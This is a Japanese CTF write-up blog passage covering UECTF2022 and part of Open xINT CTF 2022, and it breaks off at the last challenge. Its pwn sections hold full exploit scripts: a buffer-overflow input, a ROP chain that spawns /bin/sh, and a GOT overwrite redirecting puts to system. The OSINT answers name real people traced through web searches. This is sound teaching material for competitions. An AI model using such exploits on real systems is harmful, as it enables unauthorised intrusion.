st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

UECTF2022 writeup

11/18 - 11/20という日程で開催された。stnanとして参加して全完し、2位だった。ずんだの妖精꧁𝕫𝕦𝕟𝕕𝕒𝕞𝕠𝕟꧂に40分負けた。


[CRYPTO 50] RSA (57 solves)

RSA暗号でフラグを暗号化してみました!解読してみてください。

I encrypted the flag with the RSA cipher! Please try to decode it.

添付ファイル: rsa_source.py, output.txt

rsa_source.py は以下のような内容だった。

from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCD

def enc(p_text):
  N=p*q
  c_text=pow(p_text,e,N)
  #cipher_text=plain_text^e mod N
  print('cipher text:',c_text)
  print('p:',p)
  print('q:',q)
  print('e:',e)

e = 65537
p = getPrime(100)
q = getPrime(100)

#e:public key
#p,q: prime number

plain=b'UECTF{SECRET}'
plain=bytes_to_long(plain)
#bytes_to_long:bytes -> number
#long_to_bytes:number->bytes
enc(plain)

output.txt はこれ。

cipher text: 40407051770242960331089168574985439308267920244282326945397
p: 1023912815644413192823405424909
q: 996359224633488278278270361951
e: 65537

普通のRSA。復号するスクリプトを書く。

import binascii
import gmpy2

c = 40407051770242960331089168574985439308267920244282326945397
p = 1023912815644413192823405424909
q = 996359224633488278278270361951
e = 65537

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, p * q)
print(binascii.unhexlify(hex(m)[2:]))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{RSA-iS-VeRy-51Mp1e}'
UECTF{RSA-iS-VeRy-51Mp1e}

[FORENSICS 100] Compare (33 solves)

新しくUECTFのロゴを作ったよ。え?元々あったロゴと同じじゃないかって?君はまだまだ甘いなぁ。

I made a new logo for UECTF. What, do you think it's the same as the original logo? You are still a bit naive.

添付ファイル: UECTF_org.bmp, UECTF_new.bmp

人間の目にはまったく同じ画像に見えるけれども、なんか違うっぽい。

$ sha256sum *
08d44aa56a8cef70356fe0a8ec510d63a3ec8ef9d0d70f4ea9876261ba5b889b  UECTF_new.bmp
54465d578a21551a206f1ca57bd31fb211c9cf44d54a9f8000077d81b3a58f3f  UECTF_org.bmp

違う部分を探すスクリプトを書く。

with open('UECTF_org.bmp', 'rb') as f:
  s = f.read()
with open('UECTF_new.bmp', 'rb') as f:
  t = f.read()

print(bytes(y for x, y in zip(s, t) if x != y))

実行するとフラグが得られた。

$ python3 solve.py
b'UECTF{compare_two_files_byte_by_byte}'
UECTF{compare_two_files_byte_by_byte}

[FORENSICS 100] Deleted (53 solves)

USBメモリに保存してたフラグの情報消しちゃった。このイメージファイルからどうにか取り出せないものか…

I have deleted the flag information I saved on my USB stick. I wonder if there is any way to retrieve it from this image file...

添付ファイル: image.raw

binwalkで殴る。

$ binwalk -D 'png image:png' image.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
327812        0x50084         xz compressed data
330296        0x50A38         xz compressed data
557056        0x88000         PNG image, 750 x 180, 8-bit/color RGB, non-interlaced
557952        0x88380         Zlib compressed data, best compression
585728        0x8F000         PNG image, 1006 x 38, 8-bit/color RGBA, non-interlaced
…

0x8F000 から始まっているPNGがフラグだった。

UECTF{TH1S_1M4G3_H4S_N0T_B33N_D3L3T3D}

[FORENSICS 127] Discord 1 (30 solves)

数日前、CTFの作問をやっている友達が送ってきたフラグの書かれた画像がいつの間にか消されていた。あれがあればこの問題にも正解できるはず… 調べたらDiscordのデータはこのフォルダに色々保存されているらしい。何とかして消された画像を見つけられないだろうか…

A few days ago, a friend of mine who is doing a CTF composition question sent me an image with the flag written on it, which was deleted. If I had that one, I should be able to answer this question correctly... I checked and it seems that Discord data is stored in this folder. I wonder if there is any way to find the deleted image...

添付ファイル: discord1.zip

Crashpad, GPUCache, VideoDecodeStats といったディレクトリがある。それっぽい CacheCode Cache といったディレクトリもある。今回探しているのは画像ということなので、試しに Cache ディレクトリ下で file * を走らせ、画像がないか探す。いくつかPNGがあった。

$ cd Cache
$ file *
…
f_00008d: PNG image data, 248 x 300, 8-bit/color RGBA, non-interlaced
f_00008e: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_00008f: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000090: PNG image data, 389 x 469, 8-bit/color RGBA, non-interlaced
f_000091: PNG image data, 461 x 469, 8-bit/color RGBA, non-interlaced
f_000092: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, JntStereo
index:    data

f_00003a がそれだった。

UECTF{D1SC0RD_1S_V3RY_US3FUL!!}

[FORENSICS 323] Discord2 (21 solves)

前に思いついたフラグ送信しようとして止めたんだけど、やっぱりあれが良かったなぁ… でもちゃんと思い出せないなぁ。このフォルダにはキャッシュとかも残ってるし、どこかに編集履歴みたいなの残ってないかなぁ…

I tried to send to a friend the flag I thought of before and stopped, but I still liked that one... But I can't remember it properly. I'm sure there's a cache or something in this folder, and I'm wondering if there's some kind of edit history somewhere...

添付ファイル: discord2.zip

ディレクトリやファイルの構造はDiscord 1とほぼ同じだった。「前に思いついたフラグ送信しようとして止めた」とのことなので、grepUECTF が含まれるファイルを探す。あった。

$ grep -rl UECTF .
./Local Storage/leveldb/000004.log

該当する部分を見てみる。

$ grep -ao "UECTF{[^}]\+}" "./Local Storage/leveldb/000004.log"
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}
UECTF{Y0U_C4N_S33_Y0UR_DRAFT}

[MISC 10] WELCOME (88 solves)

Welcome to UECTF2022! Join the discord server and submit the flag!!

UECTFへようこそ! Discordサーバーにあるflagを提出してください!!

Discordサーバの #📢-announcements チャンネルにフラグがあるのだれども、

これはUECTFが開催されるというアナウンスに添付されていた画像に含まれる文字列と同じだったので、事前にメモっていた。

UECTF{C4PTURE_TH3_FL4G_2022}

[MISC 100] caesar (68 solves)

ガイウス・ユリウス・カエサル Gaius Iulius Caesar

添付ファイル: caesar_source.py, caesar_output.txt

caesar_source.py は以下のようなPythonスクリプトだった。シーザー暗号をアルファベットだけでなく数字、記号にも拡張したやつっぽい。caesar_output.txt はこれを使ってフラグを「暗号化」したもの。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+14)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='UECTF{SECRET}'
cipher_text=encode(plain_text)
print(cipher_text)

改造して鍵をブルートフォースする。case-sensitiveであることに注意。

from string import ascii_uppercase,ascii_lowercase,digits,punctuation

def encode(plain, x=14):
  cipher=''
  for i in plain:
    index=letter.index(i)
    cipher=cipher+letter[(index+x)%len(letter)]
  return cipher

ascii_all=''
for i in range(len(ascii_uppercase)):
  ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i]
letter=ascii_all+digits+punctuation
plain_text='2LJ0MF0o&*E&zEhEi&1EKpmm&J3s1Ej)(zlYG'
for x in range(100):
  print(encode(plain_text, x))

実行するとフラグが得られた。

$ python3 caesar_source.py | grep UECTF
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}
UECTF{Th15_1s_a_b1t_Diff1Cult_c43seR}

[MISC 100] redaction gone wrong 1 (71 solves)

NOBODY SHOULD JUST COPY AND PASTE MY FILES!

何人もコピペすべからず!

添付ファイル: challenge.pdf

フラグの部分が黒塗りになっている。Chromeでこの部分を選択してコピペしようとすると、"nope"クリップボードにコピーされた。

Firefox(というかPDF.js)ならいける

UECTF{PDFs_AR3_D1ffiCulT_74d21e8}

[MISC 100] redaction gone wrong 2 (54 solves)

We have found this image floating on the internet. Can you tell us what is the redacted text?

インターネット上でこの画像を見つけた。隠されたテキストは何だろうか?

添付ファイル: flag.png

フラグがペンで塗りつぶされている。が、うっすらと見える気がする。

青い空を見上げればいつもそこに白い猫でパレットをランダムにしてみるともっとはっきりと見える。

UECTF{N3ver_ever_use_A_p3n_rofl}

[MISC 100] GIF1 (59 solves)

GIFアニメの中にフラグを隠したよ。え?隠れてないって?そんなぁ…

I tried to hide the flag with GIF animation. Huh? Not hidden...? Oh no...

添付ファイル: UEC_Anime.gif

アニメーションGIFが与えられている。ffmpeg -i UEC_Anime.gif -vsync 2 frames/%d.png でフレームを切り出す。86枚目で一瞬フラグが表示されていた。

UECTF{G1F_4N1M4T10NS_4R3_GR34T!!}

[MISC 127] GIF2 (30 solves)

今度こそGIFアニメにフラグを隠したよ。人の目で見えるものだけが全てじゃないよ。

I tried to hide the flag in a GIF animation. It's not all about what people can see.

添付ファイル: UECTF.gif

アニメーションGIFその2。また ffmpeg -i UECTF.gif -vsync 2 frames/%d.png でバラバラにする。人間の目には何も不審な点がないように見える。

青い空を見上げればいつもそこに白い猫で見てみると、RGBのそれぞれLSBにフラグが埋め込まれていた。

UECTF{TH1S_1S_TH3_3NTR4NC3_T0_ST3G4N0GR4PHY}

[MISC 400] PDF (16 solves)

一貫性のあるPDF

Consistent PDF

添付ファイル: chall.pdf

121ページぐらいあるPDFがある。中身は DUMMY PAGE か空か。Chromeだと何の変哲もないPDFに見えるが、Firefoxだとページ番号の様子がおかしい。

atob('VUVD')UEC なので、ページ番号にフラグが仕込まれていそう。FirefoxでPDFを開き、キーを押すたびにページ番号を記録していくスクリプトを書く。

{
  let result = '';
  document.body.addEventListener('keyup', () => {
    result += document.getElementById('pageNumber').value;
    console.log(result);
  }, false);
}

出力された VUVDVEZ7RG8teTBVLWtOb3ctN2hBVC1QZGYtcGE5RS1OdW1CM1I1LUNBTi1VU0UtTEV0N2VSUy0wN2hFci1USDROLVJPbUBuLU5VTTNSNDEkP30Base64デコードするとフラグが出てくる。

UECTF{Do-y0U-kNow-7hAT-Pdf-pa9E-NumB3R5-CAN-USE-LEt7eRS-07hEr-TH4N-ROm@n-NUM3R41$?}

本番では手作業でなんとかした。

[MISC 400] WHEREAMI (16 solves)

あなたの元に友人から「私はどこにいるでしょう?」という件名の謎の文字列が書かれたメールが送られてきました。 さて、これは何を示しているのでしょうか?

You receive an email from your friend with a mysterious string of text with the subject line "Where am I?" Now, what does this indicate?

添付ファイル: mail.txt

与えられたファイルは以下のような内容だった。これはplus codeこないだ見たやつだ!

7RJP2C22+2222222
7RJP2G22+2222222
7VJM2C22+2222222
7VJM2G22+2222222
7RHGWW22+2222222
…

plus codeを緯度・経度に変換するPythonライブラリを使い、全部緯度・経度に変換した上でCSVにする。

from openlocationcode import openlocationcode

with open('mail.txt') as f:
  s = f.readlines()
  s = [openlocationcode.decode(x.strip()) for x in s]
  s = [x.latlng() for x in s]

with open('a.csv', 'w') as f:
  f.write('i,Lat,Long\n')
  for i, (lat, long) in enumerate(s):
    f.write(f'{i},{lat},{long}\n')

Googleマイマップで読み込むと、フラグが見えた。

leet表記でcase-sensitiveなのがちょっとつらい。

UECTF{D1d_y0u_Kn0w_aB0ut_Km1?}

[MISC 436] OSINT (13 solves)

There is this link to a Twitter account. However, Twitter says that "This account doesn’t exist." Could you somehow use your magic to find this person? I'm pretty sure he's still using Twitter. Thanks!!

あるTwitterアカウントへのリンクがありました。アクセスすると"このアカウントは存在しません"と表示されて困っているんだ...😖 他の情報源によるとTwitterをまだやっているはずなんだけどなぁ🤔

https://twitter.com/__yata_nano__

とりあえずこのアカウントを見に行くと、存在しないと言われる。screen_nameを変えたのだろう。

Internet ArchiveWayback Machineで探してみると、あった。ソースを見ると "identifier": "1585261641125416961" とある。https://twitter.com/intent/user?user_id=1585261641125416961 にアクセスすると、新しいscreen_nameが ftceu とわかる。最新のツイートを見るとPastebinへのリンクがある。添付されているパスワードを入力するとフラグが得られた。

UECTF{ur_a_tw1tter_mast3r__arent_y0u}

[PWN 50] buffer_overflow (48 solves)

バッファオーバーフローを知っていますか?
Do you know buffer overflow?
コンパイルオプションは -fno-stack-protector をつけています。

gcc ./bof_source.c -fno-stack-protector

nc uectf.uec.tokyo 30002

添付ファイル: bof_source.c

bof_source.c は以下のような内容だった。scanf("%s",name); で明らかにスタックバッファオーバーフローができる。メモリ上は name のすぐ後ろに debug_flag があるはずだけれども、この debug_flag1 にすればよいらしい。

#include<stdio.h>
#include<string.h>
int debug();
int main(){
  char debug_flag,name[15];
  debug_flag='0';
  printf("What is your name?\n>");
  scanf("%s",name);
  if(debug_flag=='1'){
    debug();
  }
  printf("Hello %s.\n",name);
  return 0;
}

int debug(){
  char flag[32]="CTF{THIS_IS_NOT_TRUE_FLAG}";
  printf("[DEBUG]:flag is %s\n",flag);
}

スタックバッファオーバーフローで置き換える。

$ echo -e "AAAAAAAAAAAAAAA1" | nc uectf.uec.tokyo 30002
What is your name?
>[DEBUG]:flag is UECTF{ye4h_th1s_i5_B0f_flag}
Hello AAAAAAAAAAAAAAA1.

フラグが得られた。

UECTF{ye4h_th1s_i5_B0f_flag}

[PWN 356] guess (19 solves)

Please guess my password.

私のパスワードを推測してください。 ※総当たりする必要はございません。そういった行為はお控えください。

nc uectf.uec.tokyo 9001

添付ファイル: chall, main.c, flag.txt, secret.txt

main.c は以下のような内容だった。secret.txt を当てればよいらしいけれども、無理。実はバッファオーバーフローができて、scanf("%32s", buf); で32バイト分を入力すると、その次の33バイト目にnull文字が書き込まれる。つまり、メモリ上で buf の次に配置されている pw (正解のパスワード)の1バイト目がnull文字になる。strncmp はnull文字が出現した以降の比較は行わないので、buf の1バイト目もnull文字にしてつじつまを合わせてやればいい。

#include <stdio.h>
#include <string.h>

void win() {
    char flag[0x20];
    FILE *fp = fopen("flag.txt", "r");
    fgets(flag, 32, fp);
    puts(flag);
    fclose(fp);
}

void secret(char *s) {
    FILE *fp = fopen("secret.txt", "r");
    fgets(s, 32, fp);
    fclose(fp);
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[32];
    char pw[32];

    secret(pw);

    printf("Guess my password\n> ");
    scanf("%32s", buf);
    if(strncmp(pw, buf, sizeof(pw)) == 0) {
        puts("Correct!!!");
        win();
    } else {
        puts("Wrong.");
    }
    return 0;
}

やってみるとフラグが得られた。

$ echo -en "\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc uectf.uec.tokyo 9001
Guess my password
> Correct!!!
UECTF{Wow_are_you_Esper?}

[PWN 489] buffer_overflow_2 (6 solves)

I made it a little harder.

ちょっと難しくしました。

nc uectf.uec.tokyo 9002

添付ファイル: chall, main.c

main.c は以下のような内容だった。明らかにスタックバッファオーバーフローができる。ただ、バイナリを file コマンドに通してみるとstatically linkedであることがわかる。system 関数みたいな有用そうなものはなかったのでROPでなんとかする必要がありそう。

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[0x60];
    printf("> ");
    read(STDIN_FILENO, buf, 0x80);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();
    puts("Bye!");
    return 0;
}

0x20バイト分のバッファオーバーフローができると言ったけれども、vuln のエピローグが leave; ret なのもあって、最初に実行できるgadgetは最大で3つだけ。無理がある(しらんけど)ので、stack pivotでなんとかする。あとはrp++でgadgetを探してROP chainを組み立てる。

まず read(STDIN_FILENO, (いい感じに書き込める.bssセクションの適当なアドレス), 0x80) 相当のことをしてから、そのまま vuln のエピローグである leave; ret を活用して、RSPを今書き込んだ .bss セクションの適当なアドレスに移す。2段階目では、syscallexecve("/bin/sh", NULL, NULL) する。

from pwn import *

pop_rax = 0x4516a7
pop_rdi = 0x4018c2
pop_rsi = 0x40f20e
pop_rdx = 0x4017cf
syscall = 0x4012d3

vuln = 0x401d65
addr_bss = 0x4c3000

payload1 = b''
payload1 = payload1.ljust(0x60)
payload1 += p64(addr_bss) # rbp
payload1 += p64(pop_rsi)
payload1 += p64(addr_bss)
payload1 += p64(vuln+41)

payload2 = b''
payload2 += b'/bin/sh\0'
payload2 = payload2.ljust(0x8)
payload2 += p64(pop_rdi) + p64(addr_bss)
payload2 += p64(pop_rsi) + p64(0)
payload2 += p64(pop_rdx) + p64(0)
payload2 += p64(pop_rax) + p64(59)
payload2 += p64(syscall)

#s = process('./chall')
s = remote('uectf.uec.tokyo', 9002)
print('[payload1]')
s.recvuntil(b'> ')
s.send(payload1)

print('[payload2]')
s.send(payload2)

s.interactive()

実行すると、シェルが取れた。

$ python3 s.py
[+] Opening connection to uectf.uec.tokyo on port 9002: Done
[payload1]
[payload2]
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグも得られた。

$ cat flag.txt
UECTF{B3l13v3_0ur_Fu7ur3}
UECTF{B3l13v3_0ur_Fu7ur3}

[PWN 488] rot13 (6 solves)

We love ROT13.

みんな大好きROT13

nc uectf.uec.tokyo 9003

添付ファイル: chall, libc-2.31.so, main.c

そうでもない。main.c は以下のような内容だった。長くてむずそう。よく見ると、createrun も、というかどのコマンドも index >= MAX_NUM || list[index] == NULL のように入力されたindexが MAX_NUM 以上でないかチェックはしているものの、0未満であるかどうかはチェックしていない。負数でもOK。そういうわけで、ヒープ領域の list より前に存在している部分を参照できる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NUM 8
#define BUF_SIZE 0x20

char **list;

int get_num(char *msg) {
    int n;

    printf("%s", msg);
    scanf("%d%*c", &n);
    return n;
}

void create() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = malloc(BUF_SIZE);
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
    list[index] = buf;
}

void run() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf = list[index];
    for(; *buf; buf++) {
        char c = *buf;
        if(c >= 'a' && c <= 'z')
            *buf = (c - 'a' + 13) % 26 + 'a';
        else if(c >= 'A' && c <= 'Z')
            *buf = (c - 'A' + 13) % 26 + 'A';
        else
            *buf = c;
    }
    puts("Done!");
}

void show() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }
    puts(list[index]);
}

void edit() {
    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

    char *buf, *p;
    printf("data: ");
    buf = list[index];
    buf[read(STDIN_FILENO, buf, BUF_SIZE-1)] = '\0';
    if((p = strrchr(buf, '\n')))
        *p = '\0';
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char *name = malloc(BUF_SIZE);
    printf("name: ");
    scanf("%10s", name);
    printf("Hello %s!\n", name);
    free(name);

    list = calloc(MAX_NUM, sizeof(char *));

    puts("1. create");
    puts("2. run");
    puts("3. show");
    puts("4. edit");
    puts("5. exit");

    while(1) {
        int choice = get_num("> ");
        switch(choice) {
            case 1:
                create();
                break;
            case 2:
                run();
                break;
            case 3:
                show();
                break;
            case 4:
                edit();
                break;
            default:
                puts("Bye!");
                exit(EXIT_SUCCESS);
        }
    }
    return 0;
}

負数が入力できたら何ができるのか。showputs(list[index]);ブレークポイントを置いて、indexとして-6を入力してみる。すると、直前に create で入力した文字列が、表示するアドレスとして第一引数に入っていた。おっ。

gdb-peda$ b *(show+81)
Breakpoint 1 at 0x401515
gdb-peda$ r
name: kiritan
Hello kiritan!
1. create
2. run
3. show
4. edit
5. exit
> 1
index: 0
data: hoge
> 3
index: -6
gdb-peda$ p $rdi
$1 = 0x65676f68

これで任意のアドレスの読み込みができることがわかったし、edit なら任意のアドレスに書き込める。.got.plt を読んでlibcのアドレスを特定し、puts を呼ぼうとすると代わりに system が呼ばれるように .got.plt を書き換えればよい。

from pwn import *

libc = ELF('./libc-2.31.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = remote('uectf.uec.tokyo', 9003)
#s = process('./chall')

s.recvuntil(b'name: ')
s.sendline(b'a')

def execute(cmd, index, data=None, get_res=False):
  s.recvuntil(b'> ')
  s.sendline(str(cmd).encode())
  s.recvuntil(b'index: ')
  s.sendline(str(index).encode())
  if data is not None:
    s.recvuntil(b'data: ')
    s.send(data)
  if get_res:
    return s.recvline()[:-1]

addr_got_puts = 0x404020
execute(1, 0, p64(addr_got_puts)) # create

addr_puts = u64(execute(3, -6, get_res=True).ljust(8, b'\x00')) # show
libc_base = addr_puts - libc.symbols['puts']

execute(4, -6, p64(libc_base + libc.symbols['system'])) # edit
execute(1, 1, b'/bin/sh') # create
execute(3, 1) # show

s.interactive()

実行すると、シェルが得られた。

$ python3 solve.py
[+] Opening connection to uectf.uec.tokyo on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
run.sh

そのままフラグが得られる。

$ cat flag.txt
UECTF{ROT13_stands_for_ROTate_by_13_places}
UECTF{ROT13_stands_for_ROTate_by_13_places}

[REV 50] A file (81 solves)

誰かがファイルの拡張子を消してしまった。どのような中身のファイルなのか?

Someone erased a file extension. What contents is the file?

添付ファイル: chall

XZですねえ。

$ file chall
chall: XZ compressed data

展開するとELFファイルが出てくる。

$ mv chall chall.xz
$ xz -d chall.xz
$ ls
chall
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cc6cbef9d855aa72b5673ebe2709fb27b75a6e67, for GNU/Linux 3.2.0, not stripped

このバイナリにフラグが含まれている。

$ strings -n 8 ./chall | grep UECTF
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}

[REV 100] revPython (20 solves)

What does this pyc file do?

これは?

添付ファイル: a.cpython-39.pyc, flag.jpg

flag.jpg はどう見てもJPEGではないが、雰囲気から何らかの文字列とXORしていそうだとわかる。

$ xxd flag.jpg | head
00000000: aa9d bc8f 4638 5546 4156 4579 5746 4057  ....F8UFAVEyWF@W
00000010: 457f 5646 4751 4e7e 5041 4751 4c7c 5243  E.VFGQN~PAGQL|RC
00000020: 4b58 4c77 594e 495f 4d76 5b57 5359 486a  KXLwYNI_Mv[WSYHj
00000030: 5b4e 4844 506b 4456 5741 536e 594a 544c  [NHDPkDVWASnYJTL
00000040: 506f 4d57 5741 5284 8e45 0055 457f 5140  PoMWWAR..E.UE.Q@
00000050: 4751 4f7e 504c 5759 4d76 4151 5740 526f  GQO~PLWYMvAQW@Ro
00000060: 4151 5740 526f 4151 5740 526f 4151 5740  AQW@RoAQW@RoAQW@
00000070: 526f 4151 5740 526f 4151 5740 526f 4151  RoAQW@RoAQW@RoAQ
00000080: 5740 526f 4151 5740 526f 4151 bc94 466a  W@RoAQW@RoAQ..Fj
00000090: 5d43 175f 0678 5467 4356 577a 5654 42ab  ]C._.xTgCVWzVTB.

JPEGマジックナンバー+αである FF D8 FF と先頭3バイトをXORすると UEC と出てくる。strings a.cpython-39.pyc すると UECTF{ という文字列が含まれていることがわかる。UECTF{ とXORしてみると、フラグの画像が出てきた

UECTF{oh..did1s0meh0wscr3wup??}

[REV 323] captain-hook (21 solves)

haha, good luck solving this

運も実力のうち!

添付ファイル: captainhook

IDA Freewareでデコンパイルしてみると、いい感じの時刻に実行すると success と出力され、あとなんか sub_1330 という関数も呼び出されることがわかる。

success と出力するか、failure と出力するかを決める jnz を雑に jz に変えるとどうなるのか。

パッチをあてて実行するとフラグが得られた。

$ ./captainhook
success
UECTF{hmmmm_how_did_you_solve_this?}
UECTF{hmmmm_how_did_you_solve_this?}

[REV 400] discrete (16 solves)

Jumping around in memory

記憶の中でジャンプする

添付ファイル: chall

入力した文字列がフラグかどうかチェックしてくれるバイナリが与えられる。まずはフラグの文字列を特定したい。

$ ./chall
flag: hoge
invalid input length

34文字っぽい。

なんか strncmp をしている。ここにブレークポイントを置いてみる。

引数を見てみると、3バイトずつフラグをチェックしているように見える。

$ gdb ./chall
gdb-peda$ b *0x5555555560ba
Breakpoint 1 at 0x5555555560ba
gdb-peda$ r
flag: AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKK
gdb-peda$ x/s $rdi
0x7fffffffda0d: "UEC"
gdb-peda$ x/s $rsi
0x7fffffffd8c0: "AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKL"

x/s $rdi し続けると、ちょっとずつフラグが得られる。

UECTF{dynamic_static_strings_2022}

[REV 450] dotnet (11 solves)

簡単にデコンパイルできるフレームワークを使って書いたので、難読化を施しました。 なので、難読化が正しく行われていれば秘密情報にはアクセスできないはずです・・・ (アプリケーションはLinux-x64で動作させることを想定しています)

I obfuscated this because I made this using an easily decompilable framework. So, if the obfuscation is done correctly, the secret information should not be accessible... (The application is intended to run on Linux-x64)

添付ファイル: chall_x86_64_linux

ファイル名からもわかるように、ELFファイルが与えられている。.NETのデコンパイルといえばdnSpyILSpyだ。ILSpyに投げるとデコンパイルできた。この名前がUUIDになっているクラスがフラグのチェック処理っぽい。

同じ処理をすればよい。

$ python3
>>> a = [255, 238, 235, 253, 232, 212, 237, 221, 210, 207, 201, 194, 199, 211, 205, 202, 212, 200, 149, 218, 204, 218, 221, 201, 215, 215, 157, 198, 223, 195, 220, 152, 206, 228, 252, 231, 235, 251, 161, 227, 231, 230, 228, 172, 242, 232, 169, 231, 255, 182, 254, 236, 242, 243, 229, 176, 226, 225, 255, 229, 243, 244, 224, 240, 142, 202, 149]
>>> s = bytes(a)
>>> bytes(x ^ 0xaa ^ i for i, x in enumerate(s))
b'UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}'
UECTF{Applications-created-with-Dotnet-need-to-be-fully-protected!}

[WEB 100] webapi (42 solves)

サーバーからフラグを取ってきて表示する web ページを作ったけど、上手く動かないのはなんでだろう?

I created a web page that fetches flags from the server and displays them, but why doesn't it work?

http://uectf.uec.tokyo:4447

与えられたURLにアクセスすると、たしかに server error と表示されていてうまく動いていないように見える。

ソースを見ると以下のような処理があった。CORSのせいでブロックされていそう。

  const FLAG_URL = 'https://i5omltk3rg2vbwbymc73hnpey40eowfq.lambda-url.ap-northeast-1.on.aws/';
  fetch(FLAG_URL)
    .then(data => {
      document.getElementsByClassName('flag-data')[0].innerText = data;
    })
    .catch(err => {
      document.getElementsByClassName('flag-data')[0].innerText = 'server error';
    })

この FLAG_URL に直接アクセスするとフラグが得られた。

UECTF{cors_is_browser_feature}

[WEB 323] request-validation (21 solves)

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。

Can you request a object?

  • First, please check the flag acquisition in your environment.

http://uectf.uec.tokyo:4446

添付ファイル: request-validation.tar.gz

ソースコードが与えられている。メインの node.js は以下のような感じ。req.query.q とクエリパラメータの q がオブジェクトならフラグが得られるっぽい。

require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`Example app listening on port ${PORT}`)
})

const FLAG = process.env.FLAG || 'flag{dummy_flag}'

app.get('/', (req, res) => {
  if (req.query.q && typeof req.query.q === 'object') {
    res.send(FLAG)
  } else {
    res.send('invalid request')
  }
})

Expressがクエリ文字列のパースに使うqsというライブラリは、?a[b]=123 のようにブラケットを使うとオブジェクトを表現できる。/?q[]=a にアクセスするとフラグが得られた。

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

Open xINT CTF 2022 writeup

10/29に6時間だけ開催された。ptr-yudaiさん、yoshikingさんと一緒にぜよぽよんつとして参加して8位。結果発表の際に運営の方も言っていたけれども、上位は団子になっていて1問の差で順位が決まるという状況だった。終了直前にあともう少しで300点のtankが解けそうというところまで来ていたのだけれども、残念ながら詰めきれなかった。とても悔しい。


競技中に解いた問題

[HUMAN 200] saitaku (56 solves)

この商品を販売している会社の社長の名前をフルネームで答えよ。

Who is the president of the company that sells these products? Answer his full name.

SAITAKUというブランドの寿司キットの写真が与えられる。私が問題を確認した時点で、yoshikingさんによってSAITAKUのWebサイトやOpenCorporatesに名前が載っている David Binns さんではないことがわかっていた。また、Ethnic Distribution GmbHという会社が関連していることもわかっていた。

「"Ethnic Distribution GmbH" president」などでググると、business-monitor.chというWebサイトが出てくる。アクセスしようとするとCloudflareにAccess deniedと怒られてしまったが、Googleのキャッシュを使うと読めた。

Roger Häcki

[HUMAN 300] ho ho ho (57 solves)

これからの季節、欲しくなるものを展示・販売するこの会社。
大使館にも表敬訪問する同社には、あるギルド会員でチーズの専門家も。
その人の名前をフルネームかつ漢字で答えよ。

Managers of this company that sells seasonal products actively engage in many fields.
Some have paid courtesy to an embassy, and one of them is an expert & a member of a cheese guild.
What is the name of the expert?
Answer in the full name in Kanji.

薪ストーブがたくさん置かれている場所の写真が与えられる。「出品チェックシート」「ヤフオク出品」などと書かれている紙が見えたのでヤフオクで探してみたりもしたが、出品数が多くてあまり参考にならない。

ほかに読める情報として「"ペレットストーブ" "風ミニアウトドア"」でググってみると、フィンランドの森を訪れたというブログ記事がヒットする*1フィンランドの森には薪ストーブ博物館という施設があるそうで、内装の写真を探すと与えられた写真と一致しているように見える。

「ギルド チーズ」でググると、世の中にはギルド・クラブ・ジャポンというギルドがあるとわかる。さらに「フィンランドの森 ギルド・クラブ・ジャポン」でググると、産経新聞の記事がヒットした。この方だ。

人見厚子

[PLACE 200] BUS (24 solves)

このバスの位置を求めよ
フラグ形式: Nxx.xxx Exxx.xxx

Answer the coordinates of this bus.
FlagFormat: Nxx.xxx Exxx.xxx

